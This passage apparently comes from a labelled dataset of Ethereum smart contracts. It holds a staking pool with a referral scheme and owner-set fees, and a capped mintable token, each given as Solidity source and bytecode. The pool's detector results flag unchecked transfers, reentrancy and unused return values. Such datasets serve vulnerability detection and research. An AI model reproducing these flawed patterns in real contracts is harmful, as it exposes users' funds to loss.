}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract PoolA is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event Upline(address indexed addr, address indexed upline);
event RewardAllocation(address indexed ref, address indexed _addr, uint bonus);
address public tokenAddress;
// reward rate % per year
uint public rewardRate = 60000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => address) public referer;
mapping (address => uint) public referrals;
mapping (address => uint) public rewardBonuses;
uint ref_bonus = 1;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function refSet(uint _value) public onlyOwner returns(bool){
ref_bonus = _value;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0), "Interracting token address are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
_refPayout(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function updateRef(address account) private {
uint unclaimedRef = rewardBonuses[account];
if (unclaimedRef > 0) {
require(Token(tokenAddress).transfer(account, unclaimedRef), "Could not transfer tokens.");
rewardBonuses[account] = rewardBonuses[account].sub(unclaimedRef);
}
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake, address _upline) public{
_setUpline(msg.sender, _upline);
_deposit(amountToStake);
}
function _deposit(uint amountToStake) internal {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(referer[msg.sender] != address(0) || msg.sender == admin, "No upline, you need an upline");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
claimRef();
}
function claimRef() public {
updateRef(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
function _setUpline(address _addr, address _upline) public {
if(referer[_addr] == address(0) && _upline != _addr && (stakingTime[_upline] > 0 || _upline == admin)) {
referer[_addr] = _upline;
referrals[_upline]++;
emit Upline(_addr, _upline);
}
}
function _refPayout(address _addr, uint256 _amount) private {
address ref = referer[_addr];
if(ref != address(0)){
uint256 bonus = _amount * ref_bonus / 100;
rewardBonuses[ref] += bonus;
emit RewardAllocation(ref, _addr, bonus);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80637b0a47ee1161011a578063c662c1d4116100ad578063f2fde38b1161007c578063f2fde38b1461051a578063f3073ee714610540578063f3f91fa01461055f578063f4a8b19714610585578063f851a440146105ab57610206565b8063c662c1d4146104d4578063d578ceab14610502578063d816c7d51461050a578063f1587ea11461051257610206565b80639d76ea58116100e95780639d76ea5814610465578063bec4de3f14610489578063c0a6d78b14610491578063c326bf4f146104ae57610206565b80637b0a47ee146104125780639324132d1461041a57806397b09aba146104375780639ca423b31461043f57610206565b8063455ab53c1161019d5780635ef057be1161016c5780635ef057be1461037a5780636270cd18146103825780636654ffdf146103a85780636a395ccb146103b05780636e553f65146103e657610206565b8063455ab53c146103275780634908e3861461032f5780634e71d92d1461034c578063583d42fd1461035457610206565b80632e1a7d4d116101d95780632e1a7d4d146102c0578063308feec3146102df57806337c5785a146102e7578063384431771461030a57610206565b8063069ca4d01461020b5780630d2adb901461023c5780631e94723f14610262578063254b0a541461029a575b600080fd5b6102286004803603602081101561022157600080fd5b50356105b3565b604080519115158252519081900360200190f35b6102286004803603602081101561025257600080fd5b50356001600160a01b03166105d4565b6102886004803603602081101561027857600080fd5b50356001600160a01b0316610655565b60408051918252519081900360200190f35b610288600480360360208110156102b057600080fd5b50356001600160a01b031661070e565b6102dd600480360360208110156102d657600080fd5b5035610720565b005b610288610a22565b610228600480360360408110156102fd57600080fd5b5080359060200135610a34565b6102286004803603602081101561032057600080fd5b5035610a58565b610228610a79565b6102286004803603602081101561034557600080fd5b5035610a82565b6102dd610aa3565b6102886004803603602081101561036a57600080fd5b50356001600160a01b0316610ab6565b610288610ac8565b6102886004803603602081101561039857600080fd5b50356001600160a01b0316610ace565b610288610ae0565b6102dd600480360360608110156103c657600080fd5b506001600160a01b03813581169160208101359091169060400135610ae6565b6102dd600480360360408110156103fc57600080fd5b50803590602001356001600160a01b0316610bc0565b610288610bd7565b6102286004803603602081101561043057600080fd5b5035610bdd565b6102dd610bfe565b6102886004803603602081101561045557600080fd5b50356001600160a01b0316610c07565b61046d610c19565b604080516001600160a01b039092168252519081900360200190f35b610288610c28565b610228600480360360208110156104a757600080fd5b5035610c2e565b610288600480360360208110156104c457600080fd5b50356001600160a01b0316610c4f565b6102dd600480360360408110156104ea57600080fd5b506001600160a01b0381358116916020013516610c61565b610288610d45565b610288610d4b565b610288610d51565b6102dd6004803603602081101561053057600080fd5b50356001600160a01b0316610d85565b6102286004803603602081101561055657600080fd5b50351515610e0a565b6102886004803603602081101561057557600080fd5b50356001600160a01b0316610e7e565b61046d6004803603602081101561059b57600080fd5b50356001600160a01b0316610e90565b61046d610eab565b600080546001600160a01b031633146105cb57600080fd5b60039190915590565b600080546001600160a01b031633146105ec57600080fd5b6001600160a01b0382166106315760405162461bcd60e51b815260040180806020018281038252602a81526020018061179d602a913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b6000610662600a83610eba565b61066e57506000610709565b6001600160a01b0382166000908152600c602052604090205461069357506000610709565b6001600160a01b0382166000908152600e60205260408120546106b7904290610ed8565b6001600160a01b0384166000908152600c6020526040812054600354600254939450909261070391612710916106fd9190829088906106f7908990610eea565b90610eea565b90610f0a565b93505050505b919050565b60126020526000908152604090205481565b336000908152600c6020526040902054811115610784576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d60205260409020546107a2904290610ed8565b116107de5760405162461bcd60e51b815260040180806020018281038252603b815260200180611762603b913960400191505060405180910390fd5b6107e733610f1f565b60006108046127106106fd60055485610eea90919063ffffffff16565b905060006108128383610ed8565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561086e57600080fd5b505af1158015610882573d6000803e3d6000fd5b505050506040513d602081101561089857600080fd5b50516108eb576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561093f57600080fd5b505af1158015610953573d6000803e3d6000fd5b505050506040513d602081101561096957600080fd5b50516109b9576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b336000908152600c60205260409020546109d39084610ed8565b336000818152600c60205260409020919091556109f290600a90610eba565b8015610a0b5750336000908152600c6020526040902054155b15610a1d57610a1b600a336110b9565b505b505050565b6000610a2e600a6110ce565b90505b90565b600080546001600160a01b03163314610a4c57600080fd5b60049290925560055590565b600080546001600160a01b03163314610a7057600080fd5b60089190915590565b60095460ff1681565b600080546001600160a01b03163314610a9a57600080fd5b60029190915590565b610aac33610f1f565b610ab4610bfe565b565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b03163314610afd57600080fd5b6001546001600160a01b0384811691161415610b3857610b1b610d51565b811115610b2757600080fd5b600754610b3490826110d9565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610b8f57600080fd5b505af1158015610ba3573d6000803e3d6000fd5b505050506040513d6020811015610bb957600080fd5b5050505050565b610bca3382610c61565b610bd3826110e8565b5050565b60025481565b600080546001600160a01b03163314610bf557600080fd5b60139190915590565b610ab43361145e565b60116020526000908152604090205481565b6001546001600160a01b031681565b60035481565b600080546001600160a01b03163314610c4657600080fd5b60069190915590565b600c6020526000908152604090205481565b6001600160a01b0382811660009081526010602052604090205416158015610c9b5750816001600160a01b0316816001600160a01b031614155b8015610cd557506001600160a01b0381166000908152600d6020526040902054151580610cd557506000546001600160a01b038281169116145b15610bd3576001600160a01b03828116600081815260106020908152604080832080546001600160a01b0319169587169586179055848352601190915280822080546001019055517f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf6419190a35050565b60075481565b60055481565b600060085460075410610d6657506000610a31565b6000610d7f600754600854610ed890919063ffffffff16565b91505090565b6000546001600160a01b03163314610d9c57600080fd5b6001600160a01b038116610daf57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610e2257600080fd5b6001546001600160a01b0316610e695760405162461bcd60e51b81526004018080602001828103825260318152602001806117c76031913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b6010602052600090815260409020546001600160a01b031681565b6000546001600160a01b031681565b6000610ecf836001600160a01b03841661158d565b90505b92915050565b600082821115610ee457fe5b50900390565b6000828202831580610f04575082848281610f0157fe5b04145b610ecf57fe5b600080828481610f1657fe5b04949350505050565b6000610f2a82610655565b9050801561109c576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610f8857600080fd5b505af1158015610f9c573d6000803e3d6000fd5b505050506040513d6020811015610fb257600080fd5b5051611002576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b6001600160a01b0382166000908152600f602052604090205461102590826110d9565b6001600160a01b0383166000908152600f602052604090205560075461104b90826110d9565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a161109c82826115a5565b506001600160a01b03166000908152600e60205260409020429055565b6000610ecf836001600160a01b03841661163d565b6000610ed282611703565b600082820183811015610ecf57fe5b60095460ff161515600114611144576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111611199576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b336000908152601060205260409020546001600160a01b03161515806111c957506000546001600160a01b031633145b61121a576040805162461bcd60e51b815260206004820152601d60248201527f4e6f2075706c696e652c20796f75206e65656420616e2075706c696e65000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d602081101561129e57600080fd5b50516112f1576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b6112fa33610f1f565b60006113176127106106fd60045485610eea90919063ffffffff16565b905060006113258383610ed8565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561138157600080fd5b505af1158015611395573d6000803e3d6000fd5b505050506040513d60208110156113ab57600080fd5b50516113fe576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c602052604090205461141890826110d9565b336000818152600c602052604090209190915561143790600a90610eba565b610a1d57611446600a33611707565b50336000908152600d60205260409020429055505050565b6001600160a01b0381166000908152601260205260409020548015610bd3576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b505050506040513d60208110156114fd57600080fd5b505161154d576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b6001600160a01b0382166000908152601260205260409020546115709082610ed8565b6001600160a01b0383166000908152601260205260409020555050565b60009081526001919091016020526040902054151590565b6001600160a01b03808316600090815260106020526040902054168015610a1d57600060646013548402816115d657fe5b6001600160a01b03808516600081815260126020908152604091829020805496909504958601909455805185815290519495509188169390927fdacaa307b146651c2f85e180a4266d489fdeebf9bcab3f0d71edc7cbecdad94f928290030190a350505050565b600081815260018301602052604081205480156116f9578354600019808301919081019060009087908390811061167057fe5b906000526020600020015490508087600001848154811061168d57fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806116bd57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610ed2565b6000915050610ed2565b5490565b6000610ecf836001600160a01b0384166000611723838361158d565b61175957508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610ed2565b506000610ed256fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e206164647265737320617265206e6f742079657420636f6e66696775726564a2646970667358221220f336c3bc1e59ce5fce80ccfcd749a674231183952b74f1209f22da8efbf8466064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,498 |
0x4dda7044db5fa409cc36629077ef6e56ee9a96ee
|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
bool public transfersEnabledFlag;
/**
* @dev Throws if transfersEnabledFlag is false and not owner.
*/
modifier transfersEnabled() {
require(transfersEnabledFlag);
_;
}
function enableTransfers() public onlyOwner {
transfersEnabledFlag = true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) transfersEnabled public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function batchTransfer(address[] _addresses, uint256[] _value) public returns (bool) {
for (uint256 i = 0; i < _addresses.length; i++) {
require(transfer(_addresses[i], _value[i]));
}
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) transfersEnabled public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) transfersEnabled public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) transfersEnabled public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) transfersEnabled public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
mapping(address => bool) public minters;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlyMinters() {
require(minters[msg.sender] || msg.sender == owner);
_;
}
function addMinter(address _addr) public onlyOwner {
require(_addr != address(0));
minters[_addr] = true;
}
function deleteMinter(address _addr) public onlyOwner {
require(_addr != address(0));
delete minters[_addr];
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyMinters canMint public returns (bool) {
require(_to != address(0));
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyMinters canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract ParameterizedToken is CappedToken {
//1.3 update add minter/delete minter address validation
string public version = "1.3";
string public name;
string public symbol;
uint256 public decimals;
function ParameterizedToken(string _name, string _symbol, uint256 _decimals, uint256 _capIntPart) public CappedToken(_capIntPart * 10 ** _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract LINCToken is ParameterizedToken {
function LINCToken() public ParameterizedToken("linkcloud", "LINC", 18, 1000000000) {
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014357806305f9bb6b1461017057806306fdde031461019d578063095ea7b31461022b57806318160ddd1461028557806323b872dd146102ae578063313ce56714610327578063355274ea1461035057806340c10f191461037957806354fd4d50146103d3578063661884631461046157806370a08231146104bb5780637d64bcb41461050857806388d695b2146105355780638da5cb5b146105e757806395d89b411461063c578063983b2d56146106ca578063a9059cbb14610703578063af35c6c71461075d578063d73dd62314610772578063d82f94a3146107cc578063dd62ed3e14610805578063f2fde38b14610871578063f46eccc4146108aa575b600080fd5b341561014e57600080fd5b6101566108fb565b604051808215151515815260200191505060405180910390f35b341561017b57600080fd5b61018361090e565b604051808215151515815260200191505060405180910390f35b34156101a857600080fd5b6101b0610921565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023657600080fd5b61026b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109bf565b604051808215151515815260200191505060405180910390f35b341561029057600080fd5b610298610acc565b6040518082815260200191505060405180910390f35b34156102b957600080fd5b61030d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ad2565b604051808215151515815260200191505060405180910390f35b341561033257600080fd5b61033a610ead565b6040518082815260200191505060405180910390f35b341561035b57600080fd5b610363610eb3565b6040518082815260200191505060405180910390f35b341561038457600080fd5b6103b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eb9565b604051808215151515815260200191505060405180910390f35b34156103de57600080fd5b6103e6610fbe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561046c57600080fd5b6104a1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061105c565b604051808215151515815260200191505060405180910390f35b34156104c657600080fd5b6104f2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611308565b6040518082815260200191505060405180910390f35b341561051357600080fd5b61051b611351565b604051808215151515815260200191505060405180910390f35b341561054057600080fd5b6105cd60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611419565b604051808215151515815260200191505060405180910390f35b34156105f257600080fd5b6105fa611485565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561064757600080fd5b61064f6114ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068f578082015181840152602081019050610674565b50505050905090810190601f1680156106bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106d557600080fd5b610701600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611549565b005b341561070e57600080fd5b610743600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061163c565b604051808215151515815260200191505060405180910390f35b341561076857600080fd5b61077061187c565b005b341561077d57600080fd5b6107b2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118f5565b604051808215151515815260200191505060405180910390f35b34156107d757600080fd5b610803600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b0c565b005b341561081057600080fd5b61085b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bf6565b6040518082815260200191505060405180910390f35b341561087c57600080fd5b6108a8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c7d565b005b34156108b557600080fd5b6108e1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611dd5565b604051808215151515815260200191505060405180910390f35b600560009054906101000a900460ff1681565b600360009054906101000a900460ff1681565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b75780601f1061098c576101008083540402835291602001916109b7565b820191906000526020600020905b81548152906001019060200180831161099a57829003601f168201915b505050505081565b6000600360009054906101000a900460ff1615156109dc57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7